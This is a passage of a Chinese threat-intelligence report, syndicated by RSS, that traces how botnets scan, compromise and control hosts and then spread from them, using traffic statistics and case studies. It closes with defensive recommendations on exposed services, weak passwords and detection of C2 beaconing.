rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;"><span leaf="">结合前述低频慢扫与巡航探测特征，攻击者传播链路呈现标准化闭环流程：长期低可见度侦查测绘→识别脆弱资产→漏洞利用、弱口令爆破→主机失陷→C2 回连受控→对外扩散。以失陷主机 221.5.213.* 为例，其行为完整复现该链路特征。</span></p><p data-layout-id="15" style="font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;"><span leaf="">前置探测阶段：多境外攻击源持续对该主机开展低频服务探测与漏洞侦查，重点针对 22、80、445 等高风险端口，呈现典型低频慢扫与服务识别特征。</span></p><p data-layout-id="16" style="font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;"><span leaf="">C2 受控阶段：主机与多个境外 IP 建立443端口TLS 加密通信，呈现周期性高频小包、长连接、数据包字节重复率高、小包占比近 100% 的典型 C2 心跳特征，判定主机已植入恶意程序，与境外 C2 服务器建立稳定控制链路。</span></p><p data-layout-id="17" style="font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;"><span leaf="">扩散攻击阶段：受控主机对外发起端口扫描、服务侦查、弱口令爆破及横向传播，完成从“受害节点”到“攻击节点” 的转变，参与僵尸网络自动化扩散。</span></p><p data-layout-id="18" style="font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;"><span leaf="">该主机完整呈现巡航探测→主机失陷→C2 回连→指令接收→对外传播的闭环链路，符合僵尸网络隐匿化传播与远程控制特征，安全风险极高，以下进行各阶段攻击特征分析。</span></p><h2 data-layout-id="19" style="font-size: 17px;font-weight: 400;color: #2B77BF;line-height: 2.0;margin-bottom: 12px;"><span leaf="">2.1.1失陷主机被攻击阶段</span></h2><p style="text-align: center;font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;" data-layout-id="20"><span leaf=""><img alt="ChatGPT Image 2026年6月26日 17_02_58" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001118" data-ratio="0.6679779701022817" data-type="png" data-w="1271" height="276" width="415" style="margin-top: 17px; margin-bottom: 17px; float: none; pointer-events: initial;" src="https://wechat2rss.xlab.app/img-proxy/?k=b53ec4f1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8wItb2uePAKUfr5GU8ouiaBiatpBxBeYIuod0YHiblziavQgsDntibyXMr4wLicgfgzqtZfxmlKlsnJ1FmiaH2H4PW3S2eqSUziaF7WPZ4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p data-layout-id="21" style="font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;"><span leaf="">2026年5 月8日 —5月27日，主机 221.5.213.* 持续遭受境外分布式低频慢扫与服务侦查，攻击源覆盖多国，呈现分布式、低频化、长周期特征。攻击者重点探测两类端口：一是 23、80、8080 等传统弱口令与远程管理端口（Telnet、Web 服务、IoT 设备）；二是 7891、10013、22236 等非常规高危端口，核心目的为资产测绘与脆弱目标筛选。攻击整体呈现单 IP 低频、多 IP 接力、长周期持续特征，通过压低扫描速率规避传统高频扫描检测；探测周期近 20 天，体现自动化扫描平台的稳定运行能力。该阶段为僵尸网络入侵前的隐匿化前置侦查，隐蔽性与持续性强。</span></p><h2 style="text-align: left;font-size: 17px;font-weight: 400;color: #2B77BF;line-height: 2.0;margin-bottom: 12px;" data-layout-id="22"><span leaf="">2.1.2   C2持续回连阶段</span></h2><p style="text-align: center;font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;" data-layout-id="23"><span leaf=""><img alt="ChatGPT Image 2026年6月26日 17_10_25" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001119" data-ratio="0.6664050235478807" data-type="png" data-w="1274" height="276" width="415" style="pointer-events: initial;" src="https://wechat2rss.xlab.app/img-proxy/?k=d4940f34&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8yAicAl0JOJxKNRNbmlEct9ZttsWE5pmFL5ibt8Y86qhrltUxcMLweq362kHcXzulDnZb4x00Am0yCnImT5zlrFQmhsznnOtdUms%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p style="text-align: center;font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;" data-layout-id="24"><span leaf=""><img alt="cffa6892d7e67533fe68b7afec4cafa5" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001121" data-ratio="0.44765342960288806" data-type="png" data-w="554" height="186" width="415" style="pointer-events: initial;" src="https://wechat2rss.xlab.app/img-proxy/?k=834e04e6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8yTWNrcqIHTWpdiaGxfeEyee67GrMXoxEEcJOwcD85GxYzibMgfAaeUQnmdupf2eHLsPbIptCjvn4Tttjp2DH5yd3aFYQB8ZOeJM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p style="text-align: center;font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;" data-layout-id="25"><span leaf=""><img data-aistatus="1" alt="bb95992a4c95cc3819835c87fd946dbb" class="rich_pages wxw-img" data-ratio="0.48184019370460046" data-type="png" data-w="413" height="199" width="413" data-imgfileid="100001120" src="https://wechat2rss.xlab.app/img-proxy/?k=1496761a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fa6IDQoib5s8xLKfOzlPicoma7QiauPt6u6NYJL0EGlU336BoHgVKRuCxesE8ME869Kkl1zHZJMxsOBgNwqDhRgH0Rme519lIpXibEcpmzgXrPSo%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></p><p data-layout-id="26" style="font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;"><span leaf="">监测显示，2026年5月27日后，主机221.5.213.* 持续与境外多IP（74.178.240.*、74.179.77.*、74.178.76.*）建立 443 端口 TLS 加密通信，呈现显著周期性心跳（Beacon）特征：</span></p><ol style="list-style-type: decimal;font-size: 15px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;" class="list-paddingleft-1"><li style="margin-bottom: 0px;"><p style="font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 2.0;"><span leaf="">每小时稳定外联，单小时通信峰值 172 次；</span></p></li><li style="margin-bottom: 0px;"><p style="font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 2.0;"><span leaf="">数据包高度规律，字节重复率稳定维持在 0.93–0.99；</span></p></li><li style="margin-bottom: 0px;"><p style="font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 2.0;"><span leaf="">小于100字节小包占比近100%，为典型小包保活特征。</span></p></li></ol><p data-layout-id="30" style="font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;"><span leaf="">结合多 C2 节点轮换、固定 HTTPS 端口、高频小包、长时外联等特征，综合判定该主机已植入恶意程序，存在僵尸网络C2 心跳通信或远控木马保活行为，安全风险较高。</span></p><h2 style="text-align: left;font-size: 17px;font-weight: 400;color: #2B77BF;line-height: 2.0;margin-bottom: 12px;" data-layout-id="31"><span leaf="">2.1.3肉鸡扩散攻击阶段</span></h2><p style="text-align: center;font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;" data-layout-id="32"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001122" data-ratio="0.5542168674698795" data-type="png" data-w="830" height="231" width="415" style="margin-top: 17px; margin-bottom: 17px; float: none; pointer-events: initial;" src="https://wechat2rss.xlab.app/img-proxy/?k=18a4bbe8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8z5sw9a4jjNGPnZ3aU8jcd9JibzOOAanUfLfeZQvxibtriaWElOyx4yM3ibxGGzq71TKneZ1EDHFNLyOicYl1FLJTq2lCG9KbJLQ8YE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p style="text-align: left;font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;" data-layout-id="33"><span leaf="">2026 年5月27日起，受控主机221.5.213.* 对外发起自动化攻击，完成从受害节点到攻击节点的转变。攻击目标覆盖多地区，重点探测445（SMB）、1433（MSSQL）等高危端口，以横向扩散为核心目的。攻击呈现多目标、低频次、自动化特征，多数目标仅被探测 1–6 次，规避高频检测；短时间批量发起连接，体现僵尸网络规模化传播能力，形成失陷主机→对外扫描→横向传播的链路闭环。</span></p><h2 data-layout-id="34" style="font-size: 17px;font-weight: 400;color: #2B77BF;line-height: 2.0;margin-bottom: 12px;"><span leaf="">2.2 传播链路案例2</span></h2><p style="text-align: center;font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;" data-layout-id="35"><span leaf=""><img alt="52052e29c1225e5efb2a6b2187d53f70" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001123" data-ratio="0.6687747035573123" data-type="png" data-w="1265" height="275" width="413" style="margin-top: 17px; margin-bottom: 17px; float: none; pointer-events: initial;" src="https://wechat2rss.xlab.app/img-proxy/?k=005bc80c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8xFCFWWiaaacYr0JU6jvpHStlqcKXVRVM2OzyolW74gZTLHiat6Zf6UHqwIVkd4HpdR7ZAvsm4E6WXhB0k7d6m6ArECKFS03ibQKs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p data-layout-id="36" style="font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;"><span leaf="">2026年5月10日 —5月17日，主机 113.204.79.* 遭受境外恶意 IP 批量扫描，重点探测 Telnet、SOCKS、MySQL 等高风险端口，符合僵尸网络前置探测特征。</span></p><p data-layout-id="37" style="font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;"><span leaf="">5月15日 —5月17日，主机与176.65.139.*、4.180.183.* 通过9091 端口外联，呈现典型 C2 通信特征，判定已被植入恶意程序并入网受控。</span></p><p data-layout-id="38" style="font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;"><span leaf="">5月17日起，主机对外发起 HTTP/HTTPS 爆破攻击，目标覆盖多公网地址，形成被攻击→受控外联→对外扩散的完整链路，成为僵尸网络肉鸡节点。</span></p><h2 data-layout-id="39" style="font-size: 17px;font-weight: 400;color: #2B77BF;line-height: 2.0;margin-bottom: 12px;"><span leaf="">2.3 案例总结</span></h2><p data-layout-id="40" style="font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;"><span leaf="">综上，当前僵尸网络传播呈现低频慢扫侦查→隐蔽 C2 控制→自动化横向扩散的一体化特征。攻击者以境外分布式节点开展长期隐匿探测，识别脆弱资产后通过弱口令 / 漏洞实现入侵，依托加密 C2 链路维持控制，最终驱动肉鸡对外扩散，形成完整闭环。整个过程隐蔽性、持续性、自动化程度高，传统速率阈值检测难以应对，公网暴露资产面临持续感染与扩散风险。</span></p><h1 data-layout-id="41" style="font-size: 20px;font-weight: 400;color: #2B77BF;line-height: 2.0;margin-bottom: 12px;text-align: center;"><span leaf="">3、攻击趋势分析</span></h1><h2 data-layout-id="42" style="font-size: 17px;font-weight: 400;color: #2B77BF;line-height: 2.0;margin-bottom: 12px;"><span leaf="">3.1 近10天的攻击趋势</span></h2><p data-layout-id="43" style="font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;"><span leaf="">近10天攻击流量整体维持高位运行，日均攻击规模达到数百万级别。攻击行为呈现持续化特征，说明攻击并非短时突发事件，而是自动化僵尸网络长期巡航扫描行为。其中部分日期攻击次数明显升高，疑似与僵尸网络任务切换、传播扩散或批量目标探测有关。</span></p><p style="text-align: center;font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;" data-layout-id="44"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5448577680525164" data-type="png" data-w="457" height="249" style="margin-top: 17px;margin-bottom: 17px;float: none;" width="456" data-imgfileid="100001124" src="https://wechat2rss.xlab.app/img-proxy/?k=375498c9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fa6IDQoib5s8xniamWYNOywo7T0zZSNfmceCp6zv5tHu3mubk4eCJicMlU4ymUJQe4Xy8DEBfaUbbPOQicGWXfP9ibjb3RFic8eUFwFUfJ4Sx0ic830%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></p><h2 data-layout-id="45" style="font-size: 17px;font-weight: 400;color: #2B77BF;line-height: 2.0;margin-bottom: 12px;"><span leaf="">3.2攻击节奏分析</span></h2><p style="text-align: center;font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;" data-layout-id="46"><span leaf=""><img alt="ChatGPT Image 2026年5月22日 16_19_50" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001126" data-ratio="0.6679779701022817" data-type="png" data-w="1271" height="276" width="414" style="margin-top: 17px; margin-bottom: 17px; float: none; pointer-events: initial;" src="https://wechat2rss.xlab.app/img-proxy/?k=589fbbaa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8wiby6IELFs9EnzddAU8kibpoHt7Q78yQkFGDHgR64EMU0Wxd2k3RgjW8t5Ws9crWTpGOzOEMQvW2ibPFGkZmh6GP9wORoYibWZVLI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p data-layout-id="47" style="font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;"><span leaf="">攻击流量呈现周期性高峰叠加低频持续巡航的规律特征：活跃时段：每日 01:00–06:00 为攻击高峰，其中 03:00–05:00 攻击峰值达20 万–39 万次，体现 Botnet 自动化任务调度特性；平峰时段：白天流量回落，但持续维持低频探测，为典型巡航式扫描行为。攻击节奏连续多日稳定，表明 Botnet 控制体系持续在线、运行稳定。结合 Telnet、SSH、代理及 IoT 端口的高频探测行为，判定该活动为典型僵尸网络传播扫描（Botnet propagation scanner），核心目的为资产测绘、弱口令爆破与节点扩张。</span></p><h1 data-layout-id="48" style="font-size: 20px;font-weight: 400;color: #2B77BF;line-height: 2.0;margin-bottom: 12px;text-align: center;"><span leaf="">4.僵尸网络攻击源态势分析</span></h1><h2 data-layout-id="49" style="font-size: 17px;font-weight: 400;color: #2B77BF;line-height: 2.0;margin-bottom: 12px;"><span leaf="">4.1攻击ip国家分布</span></h2><p style="text-align: center;font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;" data-layout-id="50"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5691906005221932" data-type="png" data-w="383" height="218" style="margin-top: 17px;margin-bottom: 17px;float: none;" width="382" data-imgfileid="100001125" src="https://wechat2rss.xlab.app/img-proxy/?k=b1046487&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fa6IDQoib5s8xIYJ7DBFAKx6RsyJnED0nwLiceREA3bC2V1MzlU04oZ9xxaAWqPJKQzV7BLvicuH1QEtB9WediaPs4kBKOENNIR6gOv7ibcfmk1Dg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></p><p data-layout-id="51" style="font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;"><span leaf="">通过分析近20天的大网攻击事件发现攻击源主要集中于美国、荷兰、德国、罗马尼亚等境外主机资源聚集区域。此类国家长期为恶意扫描、代理网络及匿名基础设施高发区域。攻击源国家分布较为离散，符合现代僵尸网络利用全球分布式节点实施攻击的特点。</span></p><p style="text-align: center;font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;" data-layout-id="52"><span leaf=""><img data-aistatus="1" alt="ChatGPT Image 2026年6月4日 11_08_19" class="rich_pages wxw-img" data-ratio="0.7884615384615384" data-type="png" data-w="416" height="328" style="margin-top: 17px;margin-bottom: 17px;float: none;" width="415" data-imgfileid="100001127" src="https://wechat2rss.xlab.app/img-proxy/?k=7bbb7bf6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fa6IDQoib5s8wWcYPLiaQfRsCPRxLEkEDtUNh2WTRJ6l5UqJH5vH5AaIRhvFHHFFhKl0QibjzF9SvbVr5bH6iaicNLg9qG0BZhzoPuctYPoMjFBjM%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></p><p data-layout-id="53" style="font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;"><span leaf="">从全球分布来看，美国、荷兰、中国、塞舌尔和德国是主要僵尸网络攻击源国，其中美国以超过710万起攻击事件遥遥领先，其次是荷兰约593万次，中国约347万次，显示发达国家和部分中等规模网络基础设施国家是主要攻击节点。值得注意的是，部分小国如塞舌尔也出现较高攻击事件数，可能由于境内僵尸网络节点集中或被滥用。中等规模网络国家如保加利亚、罗马尼亚、英国、法国和日本也参与其中，攻击事件数从两百万到几十万不等。在攻击事件总量中，亚洲国家如印度、新加坡、印度尼西亚参与相对较低，但依然呈现出僵尸网络分布的全球化趋势。其他欧洲、南美和非洲国家的攻击事件较少，但整体呈现“多国参与、集中与分散并存”的特点。总体来看，僵尸网络攻击源呈现高度集中于少数高流量国家，同时全球范围广泛分布的格局。</span></p><h2 data-layout-id="54" style="font-size: 17px;font-weight: 400;color: #2B77BF;line-height: 2.0;margin-bottom: 12px;"><span leaf="">4.2每日活跃境外僵尸网络肉鸡</span></h2><p style="text-align: center;font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;" data-layout-id="55"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4882075471698113" data-type="png" data-w="424" height="207" style="margin-top: 17px;margin-bottom: 17px;float: none;" width="424" data-imgfileid="100001128" src="https://wechat2rss.xlab.app/img-proxy/?k=8c86281f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fa6IDQoib5s8wmyqGgBF2aNauyicM1sxZpIwPL1u2ryjo9s5VUcUQSQ8dydnZrY7fUEIm67TnVlNsxVn2PTbmFBAg9DNAqShETgmSpUuTzCjdE%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></p><p data-layout-id="56" style="font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;"><span leaf="">每日活跃肉鸡数量长期维持在较高水平，表明攻击方具备较大的僵尸网络规模。活跃节点数量波动不大，说明 Botnet 控制体系较为稳定，具备持续性攻击能力。</span></p><h2 data-layout-id="57" style="font-size: 17px;font-weight: 400;color: #2B77BF;line-height: 2.0;margin-bottom: 12px;"><span leaf="">4.3最活跃的攻击ip top20</span></h2><p data-layout-id="58" style="font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;"><span leaf="">攻击源中大量 IP 与 Mirai、Gafgyt等恶意家族存在关联。其中部分 IP 长期活跃于互联网大范围扫描、传播及代理中继活动中。攻击行为具有明显自动化与协同化特征，符合 Botnet propagation scanner 的典型模式。</span></p><p style="text-align: center;font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;" data-layout-id="59"><span leaf=""><img data-aistatus="1" alt="图片9" class="rich_pages wxw-img" data-ratio="0.9037037037037037" data-type="png" data-w="405" height="366" style="margin-top: 17px;margin-bottom: 17px;float: none;" width="404" data-imgfileid="100001129" src="https://wechat2rss.xlab.app/img-proxy/?k=feeed64c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fa6IDQoib5s8wtUcKhnlbuKhntbGzia3oic0MqrdwgZtwJesa6C3oia50yicf3CqccWwhzwSYsIDe9xILZtkICtOoHaUbDJ5mVT16ICeU0Eoaa3Ac%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></p><h1 data-layout-id="60" style="font-size: 20px;font-weight: 400;color: #2B77BF;line-height: 2.0;margin-bottom: 12px;text-align: center;"><span leaf="">5.受害资产暴露特征分析</span></h1><h2 data-layout-id="61" style="font-size: 17px;font-weight: 400;color: #2B77BF;line-height: 2.0;margin-bottom: 12px;"><span leaf="">5.1高频攻击端口top20</span></h2><p style="text-align: center;font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;" data-layout-id="62"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6674641148325359" data-type="png" data-w="418" height="279" style="margin-top: 17px;margin-bottom: 17px;float: none;" width="417" data-imgfileid="100001130" src="https://wechat2rss.xlab.app/img-proxy/?k=a8caea5d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fa6IDQoib5s8xCcThaBwWhv2B0sz4Urxdk7ibuPEkg0CbAoAl5kib5U4IGib74sXibianh9pianSo1Wpib3kM6Ph1LoOM7PWpC1nM3FrlN2kic39PvbmA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></p><p data-layout-id="63" style="font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;"><span leaf="">攻击集中于远程管理、Web 服务、数据库、IoT 设备、代理服务五大类高危端口，TOP 端口为 23、80、445、443、3389、22，其中23/Telnet 占比最高，IoT 弱口令传播为僵尸网络核心攻击方向。</span></p><p style="text-align: center;font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;" data-layout-id="64"><span leaf=""><img data-aistatus="1" alt="ChatGPT Image 2026年5月22日 15_54_30" class="rich_pages wxw-img" data-ratio="0.6650602409638554" data-type="png" data-w="415" height="276" style="margin-top: 17px;margin-bottom: 17px;float: none;" width="414" data-imgfileid="100001131" src="https://wechat2rss.xlab.app/img-proxy/?k=902f2cd5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fa6IDQoib5s8zcGqhWgvBKLHbVlQdNuCUx3obk7wy45qMibNibgg3Z4bm7tYV4SolGiaKyxoodA1OibniacFPeafgJJMZL3t1IG44xbk4slBEYaek0%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></p><p data-layout-id="65" style="font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;"><span leaf="">端口探测分类特征：远程管理类：22（SSH）、23（Telnet）、3389（RDP），聚焦弱口令爆破与远程控制；Web 服务类：80、443、8080、8443，用于资产测绘与Web 漏洞探测；数据库类：1433（MSSQL）、3306（MySQL）、9200（Elasticsearch），瞄准数据窃取与植矿；IoT 设备类：8728、9999、10001，适配路由器、摄像头等终端传播；代理 / 后门类：1080、3128、6666，用于构建匿名链路与控制信道。</span></p><p data-layout-id="66" style="font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;"><span leaf="">该攻击为资产测绘 + 弱口令传播 + 代理扩张 + Botnet 扩散的复合自动化体系，低频长周期特征显著。</span></p><h2 data-layout-id="67" style="font-size: 17px;font-weight: 400;color: #2B77BF;line-height: 2.0;margin-bottom: 12px;"><span leaf="">5.2被扫描的ip的ip段分布</span></h2><p style="text-align: center;font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;" data-layout-id="68"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.774818401937046" data-type="png" data-w="413" height="320" style="margin-top: 17px;margin-bottom: 17px;float: none;" width="413" data-imgfileid="100001133" src="https://wechat2rss.xlab.app/img-proxy/?k=1fcdbb28&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fa6IDQoib5s8xZ3tqZef4dh5ZvDicUZlNhRctp3VfcMEdr5PjALAZpT8lnsKk9MQIacxjWhHe0picbMHEQlibw0VibW9oybiaEpLBv8vtql6ZPVB90%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></p><p data-layout-id="69" style="font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;"><span leaf="">被扫描 IP 段呈现集中化特征，说明攻击者可能通过互联网测绘、历史暴露资产信息或弱口令特征对目标进行筛选。部分网段存在长期重复被扫描现象，说明相关资产已进入攻击者重点巡航列表。</span></p><h2 data-layout-id="70" style="font-size: 17px;font-weight: 400;color: #2B77BF;line-height: 2.0;margin-bottom: 12px;"><span leaf="">5.3 被攻击最多的ip情况</span></h2><p style="text-align: center;font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;" data-layout-id="71"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5502392344497608" data-type="png" data-w="418" height="230" style="margin-top: 17px;margin-bottom: 17px;float: none;" width="417" data-imgfileid="100001132" src="https://wechat2rss.xlab.app/img-proxy/?k=1c8c20e1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fa6IDQoib5s8ykic2ibDv1kRxg1HRbochM5LufnxoviaeRwibbOlMsuYI8LBgeI8VenTvBnvduNbuqbicSZngaLFNsJ3XesDShEFqjpCmxxEFBLAyg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></p><p data-layout-id="72" style="font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;"><span leaf="">部分资产 IP 长期遭受持续性扫描与重复访问，且攻击来源存在明显分布式特征。相关资产可能存在公网暴露服务、弱口令或历史开放端口等情况，建议重点开展安全核查。</span></p><h1 data-layout-id="73" style="font-size: 20px;font-weight: 400;color: #2B77BF;line-height: 2.0;margin-bottom: 12px;text-align: center;"><span leaf="">6总结与安全建议</span></h1><h2 data-layout-id="74" style="font-size: 17px;font-weight: 400;color: #2B77BF;line-height: 2.0;margin-bottom: 12px;"><span leaf="">6.1 核心总结</span></h2><p data-layout-id="75" style="font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;"><span leaf="">当前公网僵尸网络攻击已从传统高频扫描，升级为低频慢扫、长期巡航、隐蔽 C2、自动扩散的新型自动化攻击体系。攻击者依托全球分布式节点实施隐匿探测，通过弱口令/ 漏洞入侵主机，利用加密 C2 链路维持控制，最终驱动肉鸡横向传播，形成完整闭环。攻击源全球化分布，境外节点为核心；目标聚焦 Telnet、SSH、SMB、IoT 终端等弱口令资产；攻击行为规避传统速率检测，隐蔽性与持续性极强，公网暴露资产面临规模化感染风险。</span></p><h2 data-layout-id="76" style="font-size: 17px;font-weight: 400;color: #2B77BF;line-height: 2.0;margin-bottom: 12px;"><span leaf="">6.2 安全建议</span></h2><p data-layout-id="77" style="font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;"><span leaf="">暴露资产治理：关闭 Telnet、SSH、SMB 等非必要高危服务；清理IoT、数据库、Web 后台弱口令，启用强密码与多因素认证；定期开展资产测绘，梳理暴露端口与服务。</span></p><p data-layout-id="78" style="font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;"><span leaf="">隐蔽攻击监测：部署低频慢扫、周期性心跳、小包长连接等隐匿行为检测规则；基于 NetFlow 流量建模，建立 C2 通信（加密 443 端口高频小包、长连接）识别机制。</span></p><p data-layout-id="79" style="font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;"><span leaf="">威胁联动处置：接入全球僵尸网络威胁情报，对境外恶意扫描源、C2 节点实施精准封禁；联动 DNS 日志、主机行为数据，快速定位失陷主机并阻断扩散链路。</span></p><p data-layout-id="80" style="font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;"><span leaf="">常态化防护运营：建立7×24 小时监测机制，重点关注凌晨攻击高峰；定期复盘攻击趋势，优化检测策略，降低 Botnet 感染与传播风险。</span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=88c3bbe9&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkxMDYzODQxNA%3D%3D%26mid%3D2247484806%26idx%3D1%26sn%3D1c1c1bcbbb21e315b2e7d9030baf498d">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 20 Jul 2026 11:49:00 +0800</pubDate>
    </item>
    <item>
      <title>NadMesh僵尸网络分析：人工智能服务时代的产品级威胁</title>
